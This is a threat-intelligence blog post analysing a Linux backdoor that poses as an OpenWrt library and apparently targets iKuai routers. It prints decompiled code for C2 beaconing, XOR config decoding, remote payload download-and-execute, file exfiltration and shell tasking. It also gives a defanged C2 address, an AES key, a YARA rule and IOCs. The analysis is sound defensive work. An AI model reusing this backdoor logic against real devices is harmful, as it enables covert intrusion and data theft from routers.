

Linux Backdoor Targeting iKuai Routers

 dmpdump.github.io/posts/Backdoor_iKuai_Routers

July 1, 2026



On July 1, 2026, [MalwareHunterTeam](#) shared an ELF uploaded to VirusTotal from Japan with 0 detection. After a quick code inspection, it was evident that the ELF was a backdoor targeting specific Linux-based devices.

- File name: `libjson_script.so.0`
- SHA2: `4e6276cc400b3b9e9616d04474b64a8fa0c35375b9673ab41a92a6d5bce72d8d`
- First uploaded to VirusTotal from Japan on 2026-06-08



The ELF impersonates the legitimate `libjson_script.so`, which is part of the OpenWrt Project, specifically part of [libubox](#). This impersonation is relevant because, as we will see next, the backdoor seems to target the Chinese [iKuai](#) routers.

Backdoor Overview

The main routine of the backdoor performs the following actions:

- After executing `acquire_lock()` to ensure there is only one instance of the backdoor running, it proceeds to decrypt the configuration.
- Creates the `/var/tmp` directory and changes directories to it.
- Initializes an MbedTLS AES-GCM context with a 256-bit key. The backdoor uses a statically-linked MbedTLS library.
- Initializes an mbedTLS HTTPS client without certificate validation.
- Initializes a task scheduler thread for tasks sent from the C2.
- Attempts to get a GWID, or creates and sets a new one if none can be found. This GWID is likely a Gateway ID associated with iKuai routers.

- Gets the process ID.
- Enters an infinite loop that beacons to the C2 to receive tasks. The loop has a sleep interval which is obtained from the C2. A default sleep time of 3600 seconds (1 hour) is set by default as part of the configuration decryption.

```
void *__fastcall start_routine(void *a1)
{
    __int64 gwid; // rbx
    __pid_t v2; // ebp
    int v3; // eax

    if ( (unsigned int)acquire_lock(a1) ) // ensure one instance runs at a time
    {
        fn_decrypt_config();
        mkdir("/var/tmp", 493u);
        chdir("/var/tmp");
        strcpy(dest, "/var/tmp");
        crypto_init((__int128 *)&aes_key); // AES-256-GCM initialization using mbedTLS
        http_init(); // mbedTLS HTTPS client initialization w/o certificate validation
        sched_start(); // initializes scheduled task thread
        gwid = get_gwid(); // searches for unique GWID or creates a random one
        v2 = getpid();
        while ( 1 )
        {
            v3 = fn_c2_checkin_receive_tasks(gwid, v2); // loop to receive commands from the C2 - sleep interval received from C2
            if ( v3 > 0 )
            {
                seconds = v3;
                sleep(seconds);
            }
        }
    }
    return 0LL;
}
```

Configuration decryption

The backdoor uses an XOR decryption algorithm with a single byte key to decrypt configuration strings (with a function named `xor_decode`). The byte used as key is 0x5A.

```
__int64 __fastcall xor_decode(__int64 in_buff, __int64 len, __int64 out_buff)
{
    __int64 result; // rax

    for ( result = 0LL; result != len; ++result )
        *(_BYTE *)(out_buff + result) = *(_BYTE *)(in_buff + result) ^ 0x5A;
    *(_BYTE *)(out_buff + result) = 0;
    return result;
}
```

The strings decrypted as part of the configuration decryption are:

- `https://47.80.111[.]129:7380`, the C2 address.
- `Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36`, the User Agent string used by the backdoor.
- `/cdn-cgi/trace`, a C2 URI.
- `/cdn-cgi/bm/cv/result`, a C2 URI.

- /cdn-cgi/challenge-platform/generate/ov1, a C2 URI.
- en-US,en;q=0.9, the Accept-Language value for the backdoor HTTP request.
- application/octet-stream, the Content-Type value for the backdoor HTTP request.
- https://raw.githubusercontent.com/pnzzuv09911cast11/googlehub/refs/heads/main/readme.txt, this Github repository is no longer available, and it does not seem to be used by the backdoor.
- 3600, the default sleep interval in seconds for the C2 communications.
- 8fc4cdd44e1d2baee2d8915c3a3651f452da877565a3ee4d43fb44ee28a4ee8c, an AES-256 key used for subsequent encryption and decryption.

```
int v0; // eax
__int16 *result; // rax
__BYTE aes_key[128]; // [rsp+0h] [rbp-1A8h] BYREF
char nptr[296]; // [rsp+80h] [rbp-128h] BYREF

xor_decode((__int64)"2.*")uunmtbjtkkkkthkc'mibj", 26LL, (__int64)fn_c2_address); // https://47.80.111.129:7380
xor_decode((__int64)byte_66260, 101LL, (__int64)decrypted_ua_str); // Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36
xor_decode((__int64)"u9>4w9=3u.(;9?", 14LL, (__int64)cdn_cgi_trace); // /cdn-cgi/trace
xor_decode((__int64)"u9>4w9=3u87u9,u(?)6.", 21LL, (__int64)cdn_cgi_bm_cv_result); // /cdn-cgi/bm/cv/result
xor_decode(
    (__int64)"u9>4w9=3u92;66?4=?w*6;.<5(7u=?4?{;.?u5,k",
    40LL,
    (__int64)&cdn_cgi_challenge_platform_generate_ov1); // /cdn-cgi/challenge-platform/generate/ov1
xor_decode((__int64)"**639;.354u0)54vz.P\".u*6;34vzrup", 33LL, (__int64)application_json_txt_plain); // application/json, text/plain, */*
xor_decode((__int64)byte_661A8, 14LL, (__int64)enus_en_q09); // en-US,en;q=0.9
xor_decode((__int64)byte_66198, 24LL, (__int64)app_octet_stream); // application/octet-stream
xor_decode(
    (__int64)"2..)*uu(;t=3.2/8)?(954.74.t957u*4 /,jckk9;).kku=55=6?2/8u(?<)u2?>u7;34u(?>7?t.\".",
    88LL,
    (__int64)&raw_githubusercontent_com__); // https://raw.githubusercontent.com/pnzzuv09911cast11/googlehub/refs/heads/main/readme.txt
xor_decode((__int64)"iljj", 4LL, (__int64)nptr); // 3600
v0 = atoi(nptr);
if (v0 <= 0)
    v0 = 60;
seconds = v0;
xor_decode((__int64)"b<9n9>>nn?k>h8;??h>bcko9i;ilok<n>h>;bmmolo;i?>n>ni<8nn??hb;n?>b9iljj", 64LL, (__int64)aes_key); // AES key: 8fc4cdd44e1d2baee2d8915c3a3651f452da877565a3ee4d43
hex_decode(aes_key, &::aes_key, 32LL);
cfg_server = fn_c2_address;
cfg_pull_path = &cdn_cgi_challenge_platform_generate_ov1;
result = &cfg_ua;
*(__QWORD *)&cfg_ua = decrypted_ua_str;
return result;
```

Obtaining the Device GWID

The `get_gwid()` function is interesting because it indicates that the backdoor is targeting a specific custom Linux version. This function attempts to get the GWID, or Gateway ID of the device by checking a GWID= field in `/etc/release`, checking `/usr/share/misc/.runlevel.cache` for a previously generated ID, or, if needed, creating a random GWID value and writing it to a newly created `/usr/share/misc/.runlevel.cache` file.

```

char *get_gwid()
{
    char *v0; // rax
    char *v1; // rax
    FILE *v2; // rax
    FILE *v3; // rbx
    char v5[280]; // [rsp+0h] [rbp-118h] BYREF

    if ( !byte_907C0[0] )
    {
        if ( (unsigned int)fn_fopen_search_string("/etc/release", "GWID=") )
        {
            if ( (unsigned int)fn_fopen_search_string("/usr/share/misc/.runlevel.cache", 0LL) )
            {
                strcpy(byte_907C0, "gw-");
                rand_hex((__int64)&byte_907C0[3], 16LL);
                v0 = strncpy(v5, "/usr/share/misc/.runlevel.cache", 0xFFuLL);
                v1 = dirname(v0);
                mkdir(v1, 0x1EDu);
                v2 = fopen("/usr/share/misc/.runlevel.cache", "w");
                v3 = v2;
                if ( v2 )
                {
                    fputs(byte_907C0, v2);
                    fclose(v3);
                }
            }
        }
    }
    return byte_907C0;
}

```

The GWID is a value that is referenced in the official [iKuai documentation](#).

C2 Task Loop

The main C2 task loop first obtains the hostname, the local IP address (excluding localhost), and once again it attempts to access /etc/release, this time to obtain the VERSTRING= field.

```

    }
    v74[0] = 0;
    v13 = fopen("/etc/release", "r");
    if ( v13 )
    {
        while ( fgets(v80.sysname, 256, v13) )
        {
            if ( !strncmp(v80.sysname, "VERSTRING=", 0xAuLL) )
            {
                v14 = (utsname *)((char *)&v80 + strlen(&v80.sysname[10]));
                v16 = 0x400002400LL;
                while ( &v80 != v14 )
                {
                    LOBYTE(v15) = v14->sysname[9];
                    if ( (unsigned __int8)v15 > 0x22u || !_bittest64(&v16, v15) )
                        break;
                    v14->sysname[9] = 0;
                    v14 = (utsname *)((char *)v14 - 1);
                }
                v17 = &v80.sysname[11];
                if ( v80.sysname[10] != 34 )
                    v17 = &v80.sysname[10];
                strncpy(v74, v17, 0x7FuLL);
                v74[127] = 0;
                break;
            }
        }
    }
    fclose(v13);

```

Reviewing [Chinese forums](#), I found that this field is present in the release file of iKuai routers, providing additional evidence that these routers are being targeted.

 Release info:

```
PORTAL=portal.ikuai8-wifi.com
FIRMWAREID=10001
FIRMWARENAME=IK-RouterOS
GITCOMMIT=fe8197d
LINUX_VERSION=5.10.194
KERNEL_PATCHVER=5.10
VERSION=3.7.22
VERSION_NUM=300070022
BUILD_DATE=202603301146
MODELTYPE=X86
ARCH=x86
SYSBIT=x64
DEFAULT_IP=192.168.9.1
SUPPORT_VCACHE=true
SUPPORT_DTALK=true
SUPPORT_WECOM=true
VERSTRING="3.7.22 x64 Build202603301146"
```

A JSON object is then created using the embedded cJSON library and profiling information is added to it. This information includes GWID, architecture, hostname, pid, current working directory, a version set to 1.4, ip address information and the verstring information from the release file. This information is AES-encrypted before it is sent to [https://47.80.111\[.\]129:7380/cdn-cgi/trace](https://47.80.111[.]129:7380/cdn-cgi/trace).

```

Object = cJSON_CreateObject(0.0);
cJSON_AddStringToObject(Object, "gwid", a1);
cJSON_AddStringToObject(Object, "arch", dest);
cJSON_AddStringToObject(Object, "os", "linux");
cJSON_AddStringToObject(Object, "hostname", var_hostname);
cJSON_AddNumberToObject(Object, "pid", (double)a2);
cJSON_AddStringToObject(Object, "cwd", ::dest); // var/tmp
cJSON_AddStringToObject(Object, "version", "1.4");
cJSON_AddStringToObject(Object, "ips", v78);
cJSON_AddStringToObject(Object, "eips", &unk_64F0C);
cJSON_AddStringToObject(Object, "release", v74);
v19 = (char *)cJSON_PrintUnformatted(Object);
cJSON_Delete(Object);
if ( !v19 )
    return (unsigned int)-1;
ptr = 0LL;
v64 = 0LL;
v20 = strlen(v19);
v21 = v19;
if ( (unsigned int)crypto_encrypt(v19, v20, &ptr, &v64) )
    goto LABEL_43;
free(v19);
snprintf(v80.sysname, 0x200uLL, "%s%s", fn_c2_address, cdn_cgi_trace);
snprintf((char *)ifap, 0x12CuLL, "User-Agent: %s", decrypted_ua_str);
snprintf(s, 0x80uLL, "Content-Type: %s", app_octet_stream);
snprintf(v77, 0xC8uLL, "Accept: %s", application_json_txt_plain);
snprintf(v73, 0x64uLL, "Accept-Language: %s", enus_en_q09);
v71[0] = ifap;
v22 = (unsigned int)v64;
v23 = ptr;
v24 = &v68;

```

The backdoor receives an encrypted JSON from the C2. After decrypting and parsing the C2 response, it retrieves the top-level “sleep” and “tasks” members. It then iterates over each object in the “tasks” array, extracting the “id” and “command” fields for processing.

```

if ( v68 != 200
    || !ciphertext
    || (out = 0LL, outlen = 0LL, (v27 = crypto_decrypt(ciphertext, len, &out, &outlen)) != 0) )
{
    http_resp_free(&v68);
    return (unsigned int)-1;
}
http_resp_free(&v68);
v57 = (char *)cJSON_ParseWithLength(out, outlen);
free(out);
if ( !v57 )
    return (unsigned int)-1;
v28 = -1;
ObjectItem = cJSON_GetObjectItem(v57, "sleep");// Received/decrypted JSON has sleep and tasks
if ( ObjectItem )
    v28 = *(_DWORD *) (ObjectItem + 40);
v30 = cJSON_GetObjectItem(v57, "tasks");
v31 = v30;
if ( v30 && (unsigned int)cJSON_IsArray(v30) )
{
    ArraySize = cJSON_GetArraySize(v31);
    while ( 1 )
    {
        if ( (int)v27 >= ArraySize )
            goto LABEL_52;
        ArrayItem = cJSON_GetArrayItem(v31, v27);
        v34 = cJSON_GetObjectItem(ArrayItem, "id");
        v35 = cJSON_GetObjectItem(ArrayItem, "command");
        v36 = v35;
        if ( v34 )
        {

```

The backdoor supports the following 6 commands:

Command	Action
__sched__	Downloads payload from a url and executes as a 'scheduled task'
__sched_cancel__	Cancels a scheduled task
__uu__	Downloads, executes, and deletes an ELF
__dd__	Reads a file, base64 encodes it, and exfiltrates it
cd	Changes directory
exec_cmd_async (default)	Executes shell commands
__sched__	

The __sched__ command receives data to download and execute additional payload as a file. This command will get a download url, a destination directory, execution time and execution

repetition data to the previously initialized sched_start thread. The sched_start thread will parse the data and will download, decrypt, and execute payload as a forked process. The default destination location for the downloaded payload is /var/tmp/.<random hex>.

```
|| (ptr = 0LL, v10 = 0LL, (unsigned int)crypto_decrypt(v14, v15, &ptr, &v10)) )
{
    http_resp_free(&v13);
}
else
{
    http_resp_free(&v13);
    if ( a1[512] )
    {
        strncpy(dest, a1 + 512, 0xFFuLL);
        dest[255] = 0;
    }
    else
    {
        rand_hex((__int64)envp, 8LL);
        snprintf(dest, 0x100uLL, "/var/tmp/.%s", (const char *)envp);
    }
    v4 = 0LL;
    unlink(dest);
    v5 = open(dest, 577, 420LL);
    if ( v5 >= 0 )
    {
        while ( v4 < v10 )
        {
            v6 = write(v5, (char *)ptr + v4, v10 - v4);
            if ( v6 <= 0 )
                break;
            v4 += v6;
        }
        fchmod(v5, 0x1EDu);
        close(v5);
        free(ptr);
        if ( v10 == v4 )
        {
            signal(17, ( sighandler t)((char *)&dword 0 + 1));
        }
    }
}
```

```

unlink(dest);
v5 = open(dest, 577, 420LL);
if ( v5 >= 0 )
{
    while ( v4 < v10 )
    {
        v6 = write(v5, (char *)ptr + v4, v10 - v4);
        if ( v6 <= 0 )
            break;
        v4 += v6;
    }
    fchmod(v5, 0755u); // chmod 755 (makes it executable)
    close(v5);
    free(ptr);
    if ( v10 == v4 )
    {
        signal(17, (__sighandler_t)((char *)&dword_0 + 1));
        if ( !fork() )
        {
            setsid();
            envp[1] = 0LL;
            argv[0] = "payload"; // process name = payload
            argv[1] = 0LL;
            envp[0] = "PATH=/usr/bin:/bin";
            execve(dest, argv, envp);
            _exit(127);
        }
        usleep(0x2DC6C0u);
        unlink(dest);
    }
}
}

```

__sched_cancel__

This command dequeues a task based on a task id.

__uu__

This command runs `exec_elf`. The code in this command mirrors the ELF download and execution code used in the `__sched__` command. The endpoint used to download payload with this command is `https://47.80.111[.]129:7380/cdn-cgi/challenge-platform/generate/ov1`.

```

snprintf(s, 0x200uLL, "%s%s/%s", cfg_server, cfg_pull_path, a1);
v2 = &v13;
v3 = 6LL;
v8 = 0LL;
while ( v3 )
{
    *v2++ = 0;
    --v3;
}
if ( (unsigned int)http_get(s, &v8, &v13)
    || v13 != 200
    || (ptr = 0LL, v10 = 0LL, (unsigned int)crypto_decrypt(v14, v15, &ptr, &v10)) )
{
    http_resp_free(&v13);
}
else
{
    http_resp_free(&v13);
    if ( a1[256] )
    {
        strncpy(dest, a1 + 256, 0xFFuLL);
        dest[255] = 0;
    }
    else
    {
        rand_hex(envp, 8LL);
        snprintf(dest, 0x100uLL, "/var/tmp/.%s", (const char *)envp);
    }
    v4 = 0LL;
    v5 = open(dest, 577, 420LL);
    if ( v5 >= 0 )
    {

```

__dd__

This command reads files, base64 encodes the content and sends them back to the C2. This function is designed to exfiltrate small files, as it has a limit of 512 KB.



cd

This command changes directories via chdir().

exec_cmd_async

The default action in the C2 tasking loop is exec_cmd_async. This command runs shell commands (with '/bin/sh -c') and pipes the result back to the C2.



Report function

All the results from the executed commands are sent back to the C2 using the `report_result` function. The results are sent as an encrypted JSON to the following endpoint:

`https://47.80.111[.]129:7380/cdn-cgi/bm/cv/result.`



Hunting for Additional Samples

I created a deliberately broad Yara rule to see if I could find any other samples of this backdoor, but I could not find any. To the best of my knowledge, this backdoor seems to be rare. If you have seen it before (e.g. reported somewhere else), feel free to reach out and I'll happily add references to previous work, or to your findings.

```
rule ikuai_bdoor {
  meta:
    reference_hash = "4e6276cc400b3b9e9616d04474b64a8fa0c35375b9673ab41a92a6d5bce72d8d"

  strings:
    $s1 = "__sched__|"
    $s2 = "__sched_cancel__|"
    $s3 = "__uu__:"
    $s4 = "__dd__:"
    $s5 = "exec_elf"
    $c2_1 = "/cdn-cgi/bm/cv/result"
    $c2_2 = "/cdn-cgi/trace"
    $c2_3 = "/cdn-cgi/challenge-platform/generate/ov1"
    $beacon1 = "gwid"
    $beacon2 = "eips"
    $beacon3 = "VERSTRING="

  condition:
    uint32(0) == 0x464c457f and
    filesize < 10MB and
    (
      (3 of ($s*)) or
      (2 of ($c2*)) or
      (all of ($beacon*))
    )
}
```

IOCs

- `libjson_script.so.0:`
`4e6276cc400b3b9e9616d04474b64a8fa0c35375b9673ab41a92a6d5bce72d8d`
- C2: `https://47.80.111[.]129:7380`

Recently Updated

- [Linux Backdoor Targeting iKuai Routers](#)
- [PulseRAT - Google Sheets-based RAT Using UAE-India Partnership Lure](#)
- [Low Detection Linux and macOS Backdoor](#)
- [Rebex-based Telegram RAT Targeting Vietnam](#)
- [Rare Earth Material Lure Delivering Shellcode Loader](#)

Trending Tags

[malware](#) [cti](#) [apt](#) [backdoor](#) [chrome](#) [havoc](#) [linux](#) [RE](#) [vietnam](#) [azure](#)

Contents

Further Reading
